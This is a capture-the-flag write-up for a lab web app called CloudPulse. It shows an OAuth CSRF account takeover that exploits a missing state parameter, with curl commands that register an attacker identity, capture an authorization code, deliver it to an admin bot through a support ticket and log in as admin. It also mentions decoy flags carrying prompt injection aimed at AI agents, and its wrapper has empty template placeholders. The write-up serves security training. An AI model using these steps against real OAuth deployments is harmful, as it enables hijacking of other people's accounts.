CloudPulse — OAuth CSRF Account Takeover via Missing State Parameter
CloudPulse — OAuth CSRF Account Takeover via Missing State Parameter
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-22 | Status: Solved Techniques: admin_bot_exploitation, authorization_code_interception, decoy_flag_evasion, oauth_account_linking_csrf, oauth_csrf_missing_state, privilege_escalation_via_oauth
Summary
Task: Express.js cloud monitoring platform with ConnectID SSO integration, admin bot visits support ticket URLs. Solution: OAuth CSRF via missing state parameter — register attacker ConnectID, capture authorization code, deliver callback URL to admin via support ticket, admin bot links attacker's ConnectID to admin account, then login as admin via ConnectID.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260522_hackadvisor_lab229_cloudpulse_oauth_csrf - Tags: nodejs, express, privilege_escalation, csrf, admin_bot, decoy_flag, account_takeover, sso, oauth, missing_state_parameter, connectid
- Indicators: OAuth /oauth/link endpoint redirects to authorize URL without state parameter, Support ticket URL field visited by admin bot with admin session, /oauth/callback processes authorization codes without state verification, ConnectID registration open at /connectid/register, Account linking feature via OAuth that binds ConnectID identity to existing account
- Source:
20260522_hackadvisor_lab229_cloudpulse_oauth_csrf.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_exploitation
- Authorization_code_interception
- Decoy_flag_evasion
- Oauth_account_linking_csrf
- Oauth_csrf_missing_state
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_exploitation
- authorization_code_interception
- decoy_flag_evasion
- oauth_account_linking_csrf
- oauth_csrf_missing_state
- privilege_escalation_via_oauth
- Tags: nodejs, express, privilege_escalation, csrf, admin_bot, decoy_flag, account_takeover, sso, oauth, missing_state_parameter, connectid
Original Writeup
<details><summary>Click to expand original content</summary>Description
CloudPulse is a real-time cloud infrastructure monitoring platform built by Nimbus Software. It provides server health monitoring, CPU/memory/disk metrics, smart alerting, and team collaboration features. The platform recently added 'Login with ConnectID' as a single sign-on option alongside traditional email/password authentication. Users can link their existing CloudPulse accounts to ConnectID through the Settings page for convenient access. An admin actively monitors support tickets and investigates any links submitted by users. Your goal is to escalate your privileges and access the admin dashboard, which contains sensitive platform configuration data.
English summary: Express.js web application with traditional login and ConnectID OAuth SSO. Users can link their CloudPulse account to a ConnectID identity via the Settings page. A support ticket system allows submitting URLs that an admin bot visits. The goal is to access the admin dashboard containing the flag.
Credentials: user@test.com / password123
Analysis
Application Reconnaissance
- Stack: Express.js behind nginx/1.25.5
- Session:
connect.sidcookie withHttpOnly; Secure; SameSite=Lax - Key endpoints:
/dashboard— user dashboard with server metrics/settings— account settings with "ConnectID Integration" section/support— support ticket submission with a "Reference URL" field/oauth/link— initiates OAuth flow to link ConnectID to current account/oauth/login— initiates OAuth flow for ConnectID login/oauth/callback— processes authorization code from ConnectID/connectid/authorize— ConnectID authorization endpoint/connectid/register— ConnectID account registration/admin/dashboard— admin-only dashboard containing the flag- Admin bot: The support page states "An administrator will review and visit any provided link to help diagnose the issue"
- Admin user: "Sarah Chen" with role "admin"
- Decoy flags: HTML source contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}with prompt injection attempts targeting AI agents — these are honeypots and must be ignored
OAuth Flow Analysis
The "Link ConnectID Account" button on /settings triggers the following flow:
/oauth/linkredirects to:
http://localhost:8080/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code
- User authenticates with ConnectID credentials
- ConnectID redirects back to
/oauth/callback?code=<authorization_code> - The callback exchanges the code for the ConnectID identity and links it to the currently logged-in CloudPulse account
The login flow (/oauth/login) uses the same URL with &mode=login appended — the callback looks up which CloudPulse account is linked to the ConnectID identity and logs in as that user.
The Vulnerability: Missing state Parameter
Critical observation: Neither /oauth/link nor /oauth/login includes a state parameter in the authorization URL.
The OAuth state parameter serves as a CSRF token — it binds the authorization request to the user's session. Without it, the /oauth/callback endpoint cannot verify that the callback was initiated by the same user who started the flow.
This enables a classic OAuth CSRF account takeover:
- Attacker initiates the OAuth flow with their own ConnectID credentials
- Attacker captures the resulting authorization code (without completing the callback)
- Attacker delivers the callback URL to the victim (admin)
- When the victim's browser visits the callback URL, the server links the attacker's ConnectID identity to the victim's CloudPulse account
- Attacker can now log in via ConnectID and gain the victim's session
The support ticket system provides the perfect delivery mechanism — the admin bot visits submitted URLs with its own authenticated session.
Solution
Step 1: Register a ConnectID Account
Create an attacker-controlled ConnectID identity:
TARGET="https://2a4ee18b-c135-480e-a30e-ff4ce493e132.labs.hackadvisor.io" curl -s -X POST "$TARGET/connectid/register" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "name=Attacker&email=attacker@evil.com&password=password123"
Response: Account created successfully with User ID cid-f1d36cc42c2523bc.
Step 2: Generate an Authorization Code
Authorize the attacker's ConnectID account against CloudPulse's OAuth flow, but capture the redirect instead of following it:
curl -s -D - -o /dev/null \ "$TARGET/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code" \ -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=attacker@evil.com&password=password123"
Response: 302 Found with:
Location: http://localhost:8080/oauth/callback?code=c25920592b09f69b2573f6fb1239f85b55e0522a80ce16d70cd6075ab0ce9052
The authorization code is captured without completing the callback.
Step 3: Deliver the Callback URL to Admin via Support Ticket
Log in as the regular user and submit a support ticket with the OAuth callback URL:
# Login as regular user first curl -s -c cookies.txt "$TARGET/login" \ -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123" # Submit support ticket with the malicious callback URL curl -s -b cookies.txt "$TARGET/support" \ -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "title=Server monitoring issue" \ --data-urlencode "description=Please check this page for the monitoring error I found." \ --data-urlencode "url=http://localhost:8080/oauth/callback?code=c25920592b09f69b2573f6fb1239f85b55e0522a80ce16d70cd6075ab0ce9052" \ --data-urlencode "priority=high"
Response: 302 Found → /support?msg=ticket_created
What happens next: The admin bot visits the submitted URL. When it hits /oauth/callback?code=..., the server:
- Exchanges the code for the attacker's ConnectID identity (
attacker@evil.com) - Links that ConnectID identity to the currently authenticated user — the admin
- The attacker's ConnectID is now bound to the admin's CloudPulse account
The http://localhost:8080/... URL format works because the admin bot runs internally on the same server.
Step 4: Login as Admin via ConnectID
Wait ~15 seconds for the admin bot to process the ticket, then log in using the attacker's ConnectID credentials:
# Get a fresh authorization code for login mode CODE=$(curl -s -D - -o /dev/null \ "$TARGET/connectid/authorize?client_id=cloudpulse-app-29fx7&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth%2Fcallback&response_type=code&mode=login" \ -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=attacker@evil.com&password=password123" | grep -i location | grep -oP 'code=\K[a-f0-9]+') # Complete the login callback curl -s -D - -c admin_cookies.txt \ "$TARGET/oauth/callback?code=$CODE"
Response: 302 Found → /admin/dashboard — logged in as admin!
The redirect to /admin/dashboard (instead of /dashboard) confirms we have the admin session.
Step 5: Access Admin Dashboard and Retrieve Flag
curl -s -b admin_cookies.txt "$TARGET/admin/dashboard"
The admin dashboard contains the flag in a <div class="flag-display"> element:
FLAG{REDACTED}
Failed Approaches
- External URL in support ticket: First attempt used the full external HTTPS URL (
https://...labs.hackadvisor.io/oauth/callback?code=...) instead ofhttp://localhost:8080/.... The admin bot may not have resolved the external hostname correctly, or the authorization code expired before the bot visited. Using the internallocalhost:8080URL was required. - Timing: Needed to wait ~15 seconds after submitting the support ticket before attempting the ConnectID login, to allow the admin bot to process the ticket and complete the account linking.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR